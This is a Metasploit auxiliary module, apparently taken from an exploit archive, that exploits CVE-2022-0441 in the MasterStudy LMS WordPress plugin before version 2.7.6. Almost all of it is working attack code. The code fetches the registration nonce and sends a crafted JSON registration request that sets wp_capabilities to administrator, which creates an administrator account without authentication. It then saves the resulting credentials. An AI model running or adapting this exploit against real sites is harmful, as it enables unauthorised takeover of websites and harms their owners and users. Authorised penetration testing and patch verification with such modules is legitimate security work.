Wordpress MasterStudy Admin Account Creation

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HTTP::Wordpress  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Wordpress MasterStudy Admin Account Creation',  
'Description' => %q{  
MasterStudy LMS, a WordPress plugin,  
prior to 2.7.6 is affected by a privilege escalation where an unauthenticated  
user is able to create an administrator account for wordpress itself.  
},  
'Author' => [  
'h00die', # msf module  
'Numan Türle', # edb  
],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2022-0441'],  
['URL', 'https://gist.github.com/numanturle/4762b497d3b56f1a399ea69aa02522a6'],  
['EDB', '50752'],  
['WPVDB', '173c2efe-ee9c-4539-852f-c242b4f728ed']  
],  
'DisclosureDate' => '2022-02-18',  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [IOC_IN_LOGS],  
'Reliability' => []  
}  
)  
)  
register_options(  
[  
OptString.new('USERNAME', [false, 'Username to register (blank will auto generate)', '']),  
OptString.new('PASSWORD', [false, 'Password (blank will auto generate)', '']),  
OptString.new('EMAIL', [false, 'Email to register (blank will auto generate)', ''])  
]  
)  
end  
  
def check  
unless wordpress_and_online?  
return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress')  
end  
  
checkcode = check_plugin_version_from_readme('masterstudy-lms-learning-management-system', '2.7.6')  
if checkcode == Msf::Exploit::CheckCode::Safe  
return Msf::Exploit::CheckCode::Safe('MasterStudy LMS version not vulnerable')  
end  
  
checkcode  
end  
  
def get_username  
datastore['USERNAME'].blank? ? Faker::Internet.username : datastore['USERNAME']  
end  
  
def get_password  
datastore['PASSWORD'].blank? ? Rex::Text.rand_password : datastore['PASSWORD']  
end  
  
def get_email  
datastore['EMAIL'].blank? ? Faker::Internet.email : datastore['EMAIL']  
end  
  
def run  
username = get_username  
password = get_password  
email = get_email  
res = send_request_cgi('uri' => normalize_uri(target_uri.path))  
fail_with(Failure::Unreachable, 'Connection failed') unless res  
fail_with(Failure::UnexpectedReply, 'Request failed to return a successful response') unless res.code == 200  
/"stm_lms_register":"(?<nonce>\w{10})"/ =~ res.body  
fail_with(Failure::UnexpectedReply, 'Unabled to retrieve MasterStudy Nonce from page') if nonce.nil?  
  
print_status("Attempting with username: #{username} password: #{password} email: #{email}")  
json_post_data = JSON.pretty_generate({  
'user_login' => username,  
'user_email' => email,  
'user_password' => password,  
'user_password_re' => password,  
'become_instructor' => '',  
'privacy_policy' => true,  
'degree' => '',  
'expertize' => '',  
'auditory' => '',  
'additional' => [],  
'additional_instructors' => [],  
'profile_default_fields_for_register' => {  
'wp_capabilities' => {  
'value' => { 'administrator' => 1 }  
}  
}  
})  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),  
'ctype' => 'application/json',  
'vars_get' => {  
'action' => 'stm_lms_register',  
'nonce' => nonce  
},  
'data' => json_post_data  
)  
fail_with(Failure::Unreachable, 'Connection failed') unless res  
fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200  
results = res.get_json_document  
if results['status'] == 'success'  
print_good('Account Created Successfully')  
create_credential({  
workspace_id: myworkspace_id,  
origin_type: :service,  
module_fullname: fullname,  
username: username,  
private_type: :password,  
private_data: password,  
service_name: 'Wordpress',  
address: datastore['RHOST'],  
port: datastore['RPORT'],  
protocol: 'tcp',  
status: Metasploit::Model::Login::Status::UNTRIED  
})  
else  
print_error("Account Creation Failed: #{results['message']}")  
end  
end  
end  
`